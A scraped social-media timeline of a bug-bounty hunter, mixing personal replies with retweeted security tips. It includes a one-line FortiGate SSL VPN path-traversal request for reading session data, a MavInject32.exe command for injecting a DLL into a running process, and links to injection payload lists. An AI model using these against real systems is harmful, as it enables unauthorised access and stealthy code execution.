bug_dragon

Bug Hunter | Penetration Tester | Security Researcher | Information Security Enthusiast 🐉

[bug_dragon @bug_dragon_]

@AntzeloK @korraflow How? Lost in game or what?

[bug_dragon @bug_dragon_]

@zseano I am so sorry for your loss. My deepest condolences to you and your family during this difficult time.

[bug_dragon @bug_dragon_]

@NahamSec 1034

[bug_dragon @bug_dragon_]

@zseano Congratulations!

[bug_dragon @bug_dragon_]

@bablusingh964 @Bugcrowd 2FA Bypass

[bug_dragon @bug_dragon_]

I earned $750 + Bonus $750 for my submission on @bugcrowd #ItTakesACrowd
Thanks!!!

[bug_dragon @bug_dragon_]

https://t.co/JoDVNhSZNQ

[bug_dragon @bug_dragon_]

@AEMSecurity Congratulations!!!🎉🎉🎉

[Securitum @securitum_com]

Another blogpost by @SecurityMB just landed; this time he talks about his recent bypass of DOMPurify using namespace confusion. This is probably the first spec-compliant sanitizer bypass that worked in all browsers 😅

Here you go:
https://t.co/3erc8ifOom

[bug_dragon @bug_dragon_]

Program starting 01 feb 2025 😜 #bugcrowd

[bug_dragon @bug_dragon_]

https://t.co/wk3dHEeHPe

[bug_dragon @bug_dragon_]

https://t.co/YOh2MbLxTM

[gabsmashh @gabsmashh]

cheat sheets for your cert preps & stuff

https://t.co/1nxs4NLRyq

[Emad Shanab - أبو عبد الله @Alra3ees]

Payloads collection:-

Command Injection:-
https://t.co/FKLGsBxpYZ

XSS Payloads:-
https://t.co/kmf9Ep11VA

XXE Payload List:-
https://t.co/izzAiaVJHG

SQLI Payload List:-
https://t.co/x8NEKwnKDJ

RFI/LFI :-
https://t.co/8ApByen6Bk

Open Redirect:-

https://t.co/7W7I6d4mjC

[Paul Seekamp @nullenc0de]

Who else is still scanning BB programs for this? They are still out there! Free💰💰

Happy holidays!

/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

[bug_dragon @bug_dragon_]

WhatsApp Protocol Decryption Burp Tool
https://t.co/zSY1i8iEg0

[spidersec @SpiderSec]

Bash one liner to take screenshot of web services running on an IP range.

IP="192.168.0"; for p in '80' '443'; do for i in $(seq 0 5); do TAKE_SS=$(cutycapt --url=$IP.$i:$p --out=$IP.$i:$p.png); done; done

😃

[bug_dragon @bug_dragon_]

https://t.co/1LSDTO2xEG

[bug_dragon @bug_dragon_]

https://t.co/9yBBRNUhhj

[Giuseppe `N3mes1s` @N3mes1s]

Using MavInject32.exe (Microsoft Corp Signed) to load any dll in a running process.

> "C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL>

cc: @Oddvarmoe @Hexacorn @mattifestation @subTee @tifkin_